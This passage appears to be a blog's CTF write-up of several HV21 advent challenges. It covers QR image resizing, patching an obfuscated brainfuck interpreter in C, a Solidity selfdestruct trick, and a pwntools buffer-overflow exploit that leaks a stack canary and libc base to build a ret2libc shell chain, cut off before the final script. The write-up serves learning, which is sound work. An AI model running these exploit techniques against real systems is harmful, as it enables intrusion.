'')[1]+((''=='')+'')[1]](((''=='')+'')[1]+((''=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[2]+((''=='')+'')[1]+({}[1] + '')[1]+" "+$[157]+((''=='')+'')[0]+((''=='')+'')[1]+({}[1] + '')[5]+({}[1] + '')[1]+$[5]+"."+({}[1] + '')[4]+((''=='')+'')[1]+({} + '')[1]+$[29]+$[51]+(+(1+[0]+[1]))[((''=='')+'')[0]+({} + '')[1]+$[157]+((''=='')+'')[0]+((''=='')+'')[1]+({}[1] + '')[5]+({}[1] + '')[1]+$[5]](2+[1])[1]+(('.' - 1)+'')[1]+((''=='')+'')[1]+$[51]+ ({} + '')[1]+({}[1] + '')[2]+((''=='')+'')[3]+"(72,97,99,107,118,101,110,116)")()
Flag
HV{W4NN4 G0 G0LFING T0M0RR0W?}
[HV21.11] Oversized Gifts
Thanks!
This challenge is brought to you by darkstar. Ho, ho, ho…ly cow, that’s big!
Introduction
To ensure that Santa does not have to carry such a heavy load, our elves are always trying to shrink the gifts as much as possible. New technologies are constantly being developed in our laboratories. Unfortunately, an incident occurred during a test, when restoring the original size, an error occurred and now we are no longer able to achieve the original size.
Goal
Are you able to achieve an acceptable size?
Solution
This is one of the challenge which was very resource intensive and I struggled with my office laptop to solve it, as it took several hours to complete.
The challenge requests us to resize a very large image. The problem is that we cannot open the image with any tool because it is too large. Luckily, I did find a program which can open the image and does the resizing for me. With libvips the image can be resized and we get the QR code.
$vips resize 72d85b7f-4325-432e-93ff-cfdc019306c6.png out.png 0.0078125 --vips-progress vips temp-21: 7104 x 7104 pixels, 8 threads, 128 x 128 tiles, 256 lines in buffer
Flag
HV21{You_can_never_have_enough_RAM!}
[HV21-Hidden] What? There is More?
What? You found another one? Lucky you!
Solution
The hidden challenge can be solved with the same libvips program as the main challenge. I struggled even more with my laptop here. I had to reboot the notebook, add extra swap space and keep the computer running over night to get the hidden flag.
In the large QR code a second small one is hidden. With the libvips program we can create tiles and find the second QR code inside.
$ vips dzsave --depth one --tile-size=1024 --vips-progress 72d85b7f-4325-432e-93ff-cfdc019306c6.png hidden.png
This command creates a folder with 788544 images inside! Because the QR code has more content than the other images, we can sort the folder by size and the largest file contains the hidden QR code.
Flag
HV21{It’s_like_finding_a_needle_in_a_haystack}
[HV21.12] Santa’s Shuffle
Thanks!
This challenge is brought to you by 2d3. What a beautiful mess!
Introduction
Oh no, the elves have forgotten to close the windows and the draft made mess of Santa’s code! Maybe you could clean it up?
Goal
Can you help Santa clean up this chaos?
Solution
This challenge looked pretty hard at first sight. Fortunately it wasn’t. I tried a new online tool, https://www.onlinegdb.com, to solve this challenge.
First, I beautified the code. Then, I used the debugger to step through the code. I discovered that the R(2) function call stops the application, when the input is wrong. Thus, I simply replaced all R(2) calls with 0x90 and got the flag:
#include/*502_-_zU3X)}tM1#Hq$4D"35*/<stdio.h>//W6juf:tvs.]DrIoMM(axv0@|k?+jkES5r #define/*&jhm|0zs(*/B/*zDq|:OHcU~Dv|;7,FE)9s(Ue!5gM*/break //v9BF(TT1Gq"19#?kJ2*H #define/*JH8gDjl*/C(x)/*c9UOy:3*/case/*@MgHEK+94c9*/x/*bb]V+F#*/: //u$T._.$ms'cjF #define/*XSGrEWMy94I!VMe_n*/E(x)/*UUG9F{)zJB*/else/*CJsY*9D|SfgQ-XL*/x //s{2GfRjU #define/*jDdwh4pU,*/F(x)/*@48h|llEw&qpgsJl7ifhb)*/if/*ux7-7_$}9*P*/(x) //s0qQes26 #define/*6#ZZoxYnO4xaPrjtX!?4IFw.o(J.F!aw;l1J*/G/*(K)A*N^+.p#'*/getchar//R3k7&Fz #define/*i3pPy[qc!eLd1x*/H/*yUP"V{xqnjY*/char//9hek:99{qBf[JY4J]IQ(|uC?fP"l+vyI8 #define/*&#AH67b)-BfgJ*/I(x)/*3*N):*@uqGsPWx8qa6@m6Jh*/int x //FR9+X'O:zMD(h4vS1I #define/*hJ5*/N(x)/*rjl|(eQP#|z*/const/*7,XJg5(b{55*/x //{v|REgeXz(Lt4i!ip}t$4NFO #define/*KHZ4M6Iisfr*-*/P/*1=j~}wrY*,{Ed$LBv6RFjZL$.!~dYEQ,!nLcP*/putchar //%cf1H #define/*NNpSIo2OmEA~By*/R(x)/*KO5g{I.-}d4*/return/*B1W|t9J#IMl*/x //&{GOKv%1DeOR #define/*{2&kPmy$}*/S/*We3LM~2)9-S+vv0"]F*/switch//(d't:h%G1PW'PMq:YT$99wc'Armhm #define/*@:ZX?_W)3Ow*/U(x)/*m.ZxP@*/unsigned/*@':qb8*/x//Z0GPh4pWKUeua|U$V0JqZz0 #define/*1b*/W(x)/*A8M{Ww*/while/*lZ8(@={auRxbu(0pQ48vR]Y*/(x) //-gw7zlWYT.LW+rE3 N (H) * d = "\0329>\036=\016" /*FzeM,;=3;T@Ddy_k}.3$Z? */ "b\040\012!9\016" /*uKjE"vL!jSf Ua&hW[A#{mRI3s|ZsKm[9Hy */ "\034b\0377b>\035?-\036=*\xff", *b = "++T*+$T#+" /*-4TuyBux R*/ "G++!}++g+Jn+'[{>qb+/$++S+!H+:;v+Ig+*ut" /*#]UMNDx7&g1Db08'fA?dG~;!$Agqcj9d7kY Pb:6=LN:#n7g1^jEa(^~#Esv^?KT@_v7mv:)Gs:=84A'6d52X3:z'}Yc@ */ ">x0+t(++({+jy$+;1_+" "&(+4+%D+>%2++e+@+" /*.AdT0D+}1'2Y* */ "6(E+^>+&P+:^$++{TY+#46>^+'+++)~+" /*medVBKLr |KgL,VcJT#h!C#3;YgsyYEW */ "+'eH+++)/+=+_q+/S_>2+++cdX+P" /*pYGWqg@*YTM,{Oz,R:lfL3A jmBLNi~9D~lXv9|Ro);*^CVq6pZ&?kX6e1sY=)R;?eEO.=-jC5V */ "<'<_X<;<<4<-&]g:>++Q.DcG>" "h-_*-/@i-*-2.>tw#.NG" /*Sk3NzCn9HK[Xbmh)ZBNxOU6&(4CsDo9HN */ ">-c_._>+'pk+_%d+" /*e KkKW=SK%N^sG?J{BDv]beCstKi9AM;W]dc@0;VBGPQZPK9Nm */ ".>wHB+(+5kD+gXc++=.h[l[;q-:]" "9X~<u]-5{C,2o+V[fx" /*MLh3wxz0UW6UcLiirf*vwP.27~h$tpz1VBjakH-gN&!-kp */ "A-9v>$3%" ">d;+Yp+~++%+{f+T+!34+PW+Oc[5X0<" /*RDCzF8Y0i,bbWa-MjYNq+,dO=,ty#U#z{740pXD{avr@3 MAtj */ "H(+=+#=+F+)$T+Z*C++" /*-MKeCw&y*_Fq)_#Ac5{o4[6f5d#~AGi&?g7YJ--Ck~fhXu*/ "J" "+$Y+##F>~-" /*Th2N8[9o(MGz6[*e0=l[_ic2*]]nawirp%j%;.Qb;0di@;Y%h&_{mI~En'D,}2Trrm d=88J,Te */ "9]&<A-mBq-W>'rm>S>>C+jY+Q;+x/+zm+1~" /*C@G9Yw-i6-^WHr#S71p1|WbfzMa(fm: }--b3TC4+?h%nXX, */ "+@:+Ic+[}-<<<$_{<<A:%[$->s=>l6+4<y<7Y3[!" /*LBI&T.E7+oGpFdKw;2 MppMYs;9H8Ow0X2Rz4W_Ti*5uEta */ "-?>>!h->Wz+pg" /*o)Mf_X(c:X.+n@Bt0oH6kz5chq(n,SRUR ag9bZh=O^^hl}-sNZa#I. */ "*<ie]dp>F)%>['->/>e>>9a+<:<$b]5)<l@<rg<a<" /*+E!ctUOo:,Pa )tGM~:G;HD@Tjb:: */ "G}'])n>M!2>>=[T:-<z<'D" /*Iqb)U?mCXJ^$3Re */ "1<6+^>*>>]69<@=<j" "~[J7u-;ZD>W+{e<(c[I->Tf-B>T" /*qYD7M(S_XGcvuUL~_PekkwA5#6 */ "_+>r>?1>G>T>&%]9B" /* Lv8ZDr?RjGs;-J3~o0X'!I6;Rw#r!R9,X&;}4 */ ">n_[$S#->>p^W>J#>T>?s+7:>>A]E3$<" /*=G:4V 8=!d?OR6#j3*/ ":?4<5ER<Y<j?l<i<m<5Y@<f9]>sV>[-" /*'8DM^vq#_NjYs!:jP'u}{;&{(m%H~Esu !;?bv;q{&0vt8$K$=iX7r)X$1@'11ozHm~)K&{zO?MV7Ni{A^?VMrm!DyyNl */ "7e<jF3<j:+&g>>]:" /*{_)xTWM0gydIb*/ "7>sM>>{[N-xp>g>;+6D%<" /*1Gxb4RjC]zQl:x */ "<Y];>eH2[a>[/-Q@_" /*5 klM%MTS7-G */ "<->]rZZ<X[b/*-Yw>f=t+7B<B]b]W=m>!6[[7-" /*t3f]*Q[;~}5t:~hG:^KO[E)&Jz Shorl[Y */ "xs]<FTl<<[-)}>M^+?}>o-@" /*{_)xTWgydIb */ "}<aGu<@=]w>84[(-7'<7(P+Xlf>(;" ")]+" /*vv*A;-]y;yZtIPqxU2owVmKGltr{B4wb94]A2le'qZ?vrr7 */ ">(''+B+$?++J+cz+u" /*i;U {N^-iw80 */ "+$/[?33-Rq<([k't-'>>%b++6<D<9o" /*3MxfPEPA}iUt=WlP-Nk-jf2^x=W.qG]Ww9Kx #I */ "r]$K>@&>&[&-" /*h7W0!8!b'Z */ "S9<<V&+XO5>%~>}]@<IYO" /*n */ "]<ET{[}v-Y@w>ZT" /*7 bi)v1)FJ! */ ">f>O&A>+GT<*<q<<]~>)u>;]<5<" /*'_]6z*OTYR^C| */ "<xH_]'>%V>xnX>>b" /*C@G 9Yw-i6-^WHr#S71p1|WbfzMa(fm:}--b3TC4+?h%nXX, */ ">&[6L?<<L<<hW<?<" /*!1.oC(f3 */ "}1" "<gQ<I%S<<+L>>p5>{V>>N" /*@17zHqHDXY}@er9=-V%@Q#xM(Bsh=P-6N%&TR */ ">&*/>>%6&>;@" /* _iTnvnJbvi$[6 */ ">p-;]j<H7<<e<x<8p<'<0u<xd<6" /*{W8~.?_~#O7#5 */ "<[_x>3>lSh+z'/+pB" "++#[>98++#&++(+?Y+:o:+" /*6U */ "S+h;p<!8-?oE]{w<;&!+jn<" /*0zau:c$EPm */ "$@-[s$h>E" /*n*/ "i+#}!>!?+>o@-~Gz[@>b>" /*zk-=LkVIqd8qvO9oH]wySCxT */ ")L*>y=]%gL<gHO[}" /*Do~i 4Co(MS!Di */ "/^[eL?>YZv+Z*<$-TR%]>>@(6+1>@]<#&" /*4BB;I;4BMN */ "<KV&<1(<<~-!" /*.AdT 0D+}1'2Y* */ "]4oT]CsH>>E&>[p$}-Nv%" /*Ry.)ero|r7~OW43_QlZMn_^%u^l@5x)O({)p%jgC&~{5 BqHdfqlbVK(5{$'6O{})p'z~vcdsy:z7Yd!@Wh9JE25!+;*OfS */ "]OtH+>4o-o-=#[H-VG[=<-Z>qw" "++q+*[A-(Tj]]Ko%]" /*!I */ "GQr<(%D[:+AEx+!Qc+k3" /*)# */ "+Wg+'I+++t+=+:+KK+" /*ZSRJF YKk */ "Y<[a>*-}V%[>$A^+?z)>>/^]" /*mT0+D0v */ "Wak>$[L+~$[$@8<^k+YI?>24u-" /*A_AveOM{ 5i~$OIQ */ "(Sk]9>odv+{>>uIH]j~<H<1D$<<8:" /*B]NBoj~k */ "<-T}F]PD>SP/>[<@K+C>-)I" /*e *Ii,8zF5-WU08d*/ ":]x>[{-n)G[8-<w#<M[(-*}]V>^:*>7]*" /*|6Y} */ "<o@E<a[n;c<=<#->x>$" "1-#Z]FC^>s>({L]X</I<6Uk[?<j" /*u~'=sq!L0XoM!d~bojCFsx7l~){VxF}Y:viR=7MM2!%K5!T63 ^1pT(ja4!3Kx?z4Eh=E_Ra:'dvYBs4'@Arb */ "<+a{m>3op>-GR]7]y<;5[(-p]S<cH." /*Q,qTG32 */ "'[8ZR-Rz9]b<TZ*-;:,j+" /*_iTnvnJbvi$[6*/ "S]?++:A+q((+MS+C([O" /*B]Nuoj~k */ "#>)+W" "+eL+w&+$+%r" /*{W8~.?_~#O7#5 */ "W+CUW+++{>J$O+;Y@++v#" /*0zau:c$EPm */ "m+++!0H+*" /* 6U */ "xr+n}$++eE++m#+(k}++" /*#]UMND&x#isa?ha@i!ofa5+465a...476'}Yc@ */ "&++)_+9Gh+" "Rg+s}+)&P+b+" /*ob+W^Yl~lLu_&X{ssO4"- */ "=+q+Bx<K2<-$B]" /*c;EB*^9'j */ ">(&y.}%k>@" ".UZ[2[-]s" /*ys5P.ow5z$TA~D?3E[SnjF9G"'x5$J,yC66&vdjhdd%!I+mz */ "=_<]+&#+l#++" /*e 0m=g */ "*+pq+ed" /*rt#|Ex^fW */ "+}+)/++y.o" /*w;GPA++tv+x+=>+(pM+Yy_+h+92F9G"'c#x5$J ,3_y<I%_M<a */ "TC[c#7-]W'"; /*-4Tugi5DA;?#"R(@yBuxR*/ I (main) () { P (69); /*?LcsZnTxv7^ */ P (11 * /*c;EB*^9'j */ 10); I (K) /*ob+W^Yl~lLu_&X{ssO4"- */ = (1 << 6) + 2, L = ( /*4I'04h5D|_+3 bCM%6[&[?X(N%e#[rhQI:UdJg */ 4 << 4) + 6; P (58 * 2); /*e0m=g */ P (101); P ( /*@Hc#=; */ 114);; P (1 /*nGe5.6'*/ << 5); P (107) /*H2}"jhB=g2N.?aS */ ; P (101); N (H) * c = b; P (11 /*w=Pc4sIz2~BA;k)o */ * 11); P (58 /*?uK[ */ ); P (2 /*>> */ << 4); H /*j!jS */ k = /*S1T% */ (H) G (); I (i), s = 1 << 15, p = 0; U (H) m[1 << 15] /*@5&o%OHT]5o1aDNsgiS|x]G:+^ */ = { 0}; F (k != K /*xskgVsQ.I]?FI]=b */ || G () != L) 0x90;//R (2); K = 0x34; k = (H) G (); F (k /*_^%u^l@5HdfqlbVK(*/ != K || G () != 58 * 2) 0x90;//R (2); k = (H) G (); F /*n_# @j;2)$b */ (k != 104 || G () != 16 * /*l3o_{Dl^%Z^h */ 5 + 21) 0x90;//R (2); k = ( /*fr?BI1V9'~{?Ko */ H) G (); F (k != 0x57 || G () != 4 * 25 + 5 /*Mc0%{OfEl'%FL~);?;)l */ )0x90;//R (2); k = (H) G (); F (k != 0x4E || G () != 36) 0x90;//R (2); k = (H) G (); L = 105; F (k != 82 || G () != L) 0x90;//R (2); k = (H) G (); F (k != 103 || G () != k + 1) 0x90;//R (2); k = (H) G (); F (k != 7 * 16 + 4 || G () != (2 << 5) - 1) 0x90;//R (2); W (*c != 0) /*1+GSg7D+r4SgGh+ */ { S (*(c++)) { C (43)++ m[p]; /*Qe_nbD:7]bO~l */ B; C (44) m[p] = *d != 0 ? *(d++) : 0; B; C (45)-- m[p]; /*f% */ B; C (46) P (m[p]); B; C (60) p = (p + s - 1) % s; B; C (62) p = (p + 1) % s; /*ys5P.ow5z$F9G"'x5$J,yC66&vI+mz */ B; C (91) F (!m[p]) { i = 0; W /*Q.4UI339&#yPNH|ldo*giA;?#"R(@7|Eklhk!.)Ny:@UKg6w~-vm?HCy{oicbwuO A1Ki^;=45SS@ */ (1) { F (*c == 0) R (1); F (*(c++) != 93 || --i >= 0) { F (*(c - 1) == 91)++ i; } E (B); } } B; C (93) i = 0; --c; W (1) { F (c < b) R (1); F (*c /*rt#|Exchjw6AcX1HkOsP~S&$&mazkig1,"g;Di2GjM;=2 W7;_=JhX$i18J3cg]]6FQKmi(|Ok^fW */ != 91 || --i > 0) { F (*(c--) == 93)++ i; } E (B); } B; } } R (0); }
Flag
HV21{-HidDeN-bRaiNF-Ck-dEcoDer-}
[HV21.13] Super Smart Santa
Thanks!
This challenge is brought to you by kuyaya. Super smart indeed!
Introduction
Santa wanted to be modern, so he asked his elves to transfer his gift contracts to Solidity. Did they do well?
Goal
Complete the contract! Meaning: set isComplete
to true
.
Hint
- Santa is using the Ropsten Testnet so you don’t become poor 😉
- To interact with the contract, Santa recommends using Remix & Metamask
- Be sure to set the environment to Injected Web3
- “At Address” in Remix is a clickable button, you use it to interact with a contract.
Solution
A Blockchain challenge, very nice! To solve this challenge I worked with the remix application and the Metamask wallet. On the website of the challenge we can see the Solidity code of the running contract and we can directly deploy the smart contract from there.
pragma solidity 0.4.22; contract Santa { uint24 a; bytes32 b = 0x0619c10213c814eba28106f6c2472c5853b55a7c25855da514b806efc1128e55; bool public isComplete; bool c; uint256 d; constructor() public payable { require(msg.value == 0.0000000000000001 ether); d = msg.value; } function e() public { if (keccak256(a) == b){ isComplete = true; } } function f(int24 g) public{ require(c); a = uint24((0xdeadbeef) <<- (-31337) % 1337 >> (188495400 / 314159)) + uint24(g); } function h() public { uint256 i = d - address(this).balance; require(i > 0); c = true; } }
The goal of the challenge is to interact with the smart contract and set the isComplete flag to true. Apparently we need to run the function h(), f() and then call e() to set the isComplete flag.
The first problem is, that we cannot interact with the contract, as there is no Ether stored in the contract. I solved this issue by creating my own smart contract, self-destructing this contract and send the remaining ether to the target contract of the challenge. Don’t forget to deploy your own contract with enough Ether in it, otherwise it will not work. This attack is documented on this website: https://solidity-by-example.org/hacks/self-destruct/.
pragma solidity ^0.8.10; contract Attack { uint256 d; constructor() public payable { d = msg.value; } function attack() public payable { // cast address to payable address payable addr = payable(address(0xA15b278b7D804a0eda1a726Ba96f8688CDbC8E01)); selfdestruct(addr); } }
Now we have enough Ether on the target smart contract to execute all the functions. First we need to figure out what parameter to send to the function f(), in order to get the right keccak256() hash for “a”:
"0x0619c10213c814eba28106f6c2472c5853b55a7c25855da514b806efc1128e55"
I wrote a Python program to calculate the right value for f():
import hashlib from Crypto.Hash import keccak import binascii correct_hash = hex(int(0x0619c10213c814eba28106f6c2472c5853b55a7c25855da514b806efc1128e55)) def f(g): #this just calculates +228022 ? #a = int(int(0xdeadbeef) <<- (-31337) % 1337 >> int(188495400 / 314159)) + int(g) a = g + 228022 #convert signed integer to hex a = hex(a & 0xffffff)[2:] # ugly if not ((len(a) % 2) == 0): a = "0"+a a = binascii.unhexlify(a) return hex(int(keccak.new(data=a, digest_bits=256).hexdigest(), 16)) x = f(-2406872) if x == correct_hash: print("[!] Correct number found: " + str(x)) x = -2406800 while x > -2500000: res = f(x) print("[+] Trying: " + str(x)) if res == correct_hash: print("[!] Correct number found: " + str(x)) break x -= 1
The Python script returns “-2406872” as the correct parameter for f(). Finally, we can call the functions in the right order (h(), f(-2406872), e()) and get the flag.
Flag
HV21{sm4rt->sm4rter->y0u}
[HV21.14] Santa’s Wish Service
Thanks!
This challenge is brought to you by sm4sh1t. Best wishes!
Introduction
Santa’s elves attended a programming course. With their new skills they started implementing a service which can be used by everyone to hand in their Christmas wishes. The elves don’t have any experience in such tasks, so they are hoping that nobody makes their heart bleed.
Goal
Can you break the service and get their secret?
Resources
You’ll probably need these files
Solution
Binary exploitation at day 14, this felt way too hard for a medium challenge… I really like solving these kind of challenges, although it is super hard for me because I lack practice. Thus, I am even happier to have solved this challenge in time.
I tackled this challenge using PEDA in gdb, PwnTools for Python, Ghidra for disassembling and ropper to find the rop gadgets. Moreover, the following resources did help me a lot!
- https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/
- https://stacklikemind.io/ret2libc-aslr
- https://mdanilor.github.io/posts/memory-protections/
The first thing I did, was to analyze the binary file itself.. And poah, almost all protection mechanisms are enabled. The libc.so of the server is provided too, this means that most likely ASLR is enabled on the server. We have a 64 bit Linux ELF binary, with the following protection mechanism enabled:
Program flow:
Next, I took a look at the binary file in Ghidra:
We can see on line 9, that the variable “local_d8” is an array with the length of 200 (decimal). On line 17 we have the selection for the menu, on line 20 we read the amount of wishes.
Line 23 reads 0x200 (hexadecimal !) to the variable “local_d8”! We initialized the variable with 200 decimal and now we can write 0x200, which is 512 in decimal, to the array. This means we can overflow the variable “local_d8” by 312 bytes! This is the buffer overflow of the program.
On line 25 there is a write of the variable “local_d8” to the output window, the size of bytes which will be written however is specified in the variable “local_da”. Exactly, this comes from our input “amount of wishes”. Which means, that we can specify a high amount of wishes and only input a few characters to the input of wishes and get allocated memory in return. In addition to the buffer overflow, we have a memory leak in the program. Perfect starting point for circumventing the protection mechanisms in place!
Let’s try out both errors in the program. Buffer overflow:
Memory leak:
Step 1 – Circumvent stack canary
Main tutorial used: https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/
The stack canary is written on the stack between the variables and the instruction pointer. If we happen to find a buffer overflow and overwrite the instruction pointer the stack canary will be overwritten too. The program crashes with “Stack smashing detected”, exactly as shown in the print screen above. To circumvent this, we need to read the stack canary with the memory leak and write it back, when we overflow the buffer. In a 64 bit ELF binary the stack canary is 8 bytes long and typically starts with 0x00. Let’s see if we can find the canary with the hexdump() function of pwntools:
from pwn import * from struct import pack p = gdb.debug('./hv21_santas_wish_service', 'c') #p = process("./hv21_santas_wish_service") binary = ELF('./hv21_santas_wish_service') context.binary = binary libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.update(arch='amd64', os='linux') p.clean() p.sendline(b'1') print(p.recvline()) p.sendline(b'300') print(p.recvline()) p.sendline(b'A'*199) # get canary memory_dump = p.recvuntil(b' 1: Send \xf0\x9f\x8e\x85 a wish\n') canary = memory_dump[246:254] print(hexdump(memory_dump))
In this case the stack canary is directly after my input “AAA…” (… 0x41 0x41 0x0a): 0x008d57aeea482121. Now we read this dynamically and put it back in place:
from pwn import * from struct import pack p = gdb.debug('./hv21_santas_wish_service', 'c') #p = process("./hv21_santas_wish_service") binary = ELF('./hv21_santas_wish_service') context.binary = binary libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.update(arch='amd64', os='linux') p.clean() p.sendline(b'1') print(p.recvline()) p.sendline(b'300') print(p.recvline()) p.sendline(b'A'*199) # get canary memory_dump = p.recvuntil(b' 1: Send \xf0\x9f\x8e\x85 a wish\n') canary = memory_dump[246:254] print(hexdump(memory_dump)) print("[--> Found Stack Canary: " + str(canary.hex())) p.sendline(b'1') print(p.recvline()) p.sendline(b'300') print(p.recvline()) p.sendline(b'A'*200+canary+b'B'*300) p.recvuntil(b'2: Exit') p.recvline() p.sendline(b'2') p.interactive()
We can see that we can trigger the overflow and no smash detection happens anymore:
The next step is about finding the right spot for the payload. With “pattern_create” and “pattern_offset” we can figure this out.
$ pattern_create.rb -l 800 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
from pwn import * from struct import pack import os corefile = "core.hv21_santas_wis" if os.path.exists(corefile): os.remove(corefile) #p = gdb.debug('./hv21_santas_wish_service', 'c') p = process("./hv21_santas_wish_service") binary = ELF('./hv21_santas_wish_service') context.binary = binary libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.update(arch='amd64', os='linux') p.clean() p.sendline(b'1') print(p.recvline()) p.sendline(b'300') print(p.recvline()) p.sendline(b'A'*199) # get canary memory_dump = p.recvuntil(b' 1: Send \xf0\x9f\x8e\x85 a wish\n') canary = memory_dump[246:254] print(hexdump(memory_dump)) print("[--> Found Stack Canary: " + str(canary.hex())) p.sendline(b'1') print(p.recvline()) p.sendline(b'300') print(p.recvline()) p.sendline(b'A'*200+canary+b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba') p.recvuntil(b'2: Exit') p.recvline() p.sendline(b'2') p.interactive() #debug directly with pwntools #sudo bash -c 'echo core.%e > /proc/sys/kernel/core_pattern' core = Coredump(corefile) print("RIP: " + str(hex(core.rip)))
We now know the offset, which is 8!
Step 2 – Find libc base-address
Before actually doing step 2, I tried to disable ASLR locally and generate a payload to get a local shell. This didn’t work, because of the PIE security implementation. PIE randomizes internal application memory addresses and therefore the ROP gadgets which I found with ropper don’t work. After some time I found out, that circumvention of PIE is not necessary at all. With the memory leak we can directly leak the libc base address of the system and generate a ROP chain directly to libc. Combining all this, we are able to generate our final payload.
At the offset +8, which we determined before, we find the return address of the main function of the provided ELF binary. This return address references back to the libc and therefore we can leak the libc-base-address of the running system!
We disassemble the __libc_start_main function and we find the right offset at +243.
Note, that the correct libc address always ends with 0x00. I modified the Python script to calculate the libc base address:
from pwn import * from struct import pack p = process("./hv21_santas_wish_service") binary = ELF('./hv21_santas_wish_service') context.binary = binary libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.update(arch='amd64', os='linux') p.clean() p.sendline(b'1') print(p.recvline()) p.sendline(b'300') print(p.recvline()) p.sendline(b'A'*199) # get canary memory_dump = p.recvuntil(b' 1: Send \xf0\x9f\x8e\x85 a wish\n') canary = memory_dump[246:254] #get libc address (+8bytes after canary) libc_memory_leak = memory_dump[262:270] libc_base_int = int.from_bytes(libc_memory_leak, byteorder="little") libc_base_int = libc_base_int - 243 - libc.sym["__libc_start_main"] print(hexdump(memory_dump)) print("[--> Found Stack Canary: " + str(canary.hex())) print("[--> Found Libc Memory Leak: " + str(hex(libc_base_int)))
The libc base address was found at 0x799eff7a000.
Step 3 – Create ROP chain
Main tutorial used: https://stacklikemind.io/ret2libc-aslr
As we already have a way to calculate the libc base address, we can search for ROP gadgets directly in the libc library. Take care to use the correct libc library, depending if you are running the exploit against the remote or local target!
Our final payload must look like this:
junk "A" * 200 | canary | junk "B" * 8 | pop rdi ret gadget | ptr to "/bin/bash" | ptr to system
We use ropper to find a suitable gadget:
“pop rdi; ret” is just perfect – we use this one. As the address found in ropper is just an offset, we of course have to add the libc base address to it. The pointer to /bin/bash and the system can be easily created with pwntools:
rop.raw(0x0000000000026b72+libc_base_int) # pop_rdi address rop.raw(next(libc.search(b'/bin/sh'))) # target libc rop.raw(libc.symbols['system'])
Technically, now we should have everything to finalize our exploit. Unfortunately, the exploit didn’t spawn a shell on the remote system yet. GDB presented me the error message “148 ../sysdeps/posix/system.c: No such file or directory.”. After reading further in the mentioned blog post I did learn that this is happening in an Ubuntu environment. I need to add 8 more bytes for stack alignment. Therefore, the final payload looks like this:
junk "A" * 200 | canary | junk "B" * 8 | pop rdi ret gadget | ptr to "/bin/bash" | 8 bytes stackalignment | ptr to system
With this change, the exploit works perfectly! I also used the ROP() function of pwntools which makes the whole process a little bit easier. There is the final exploit code:
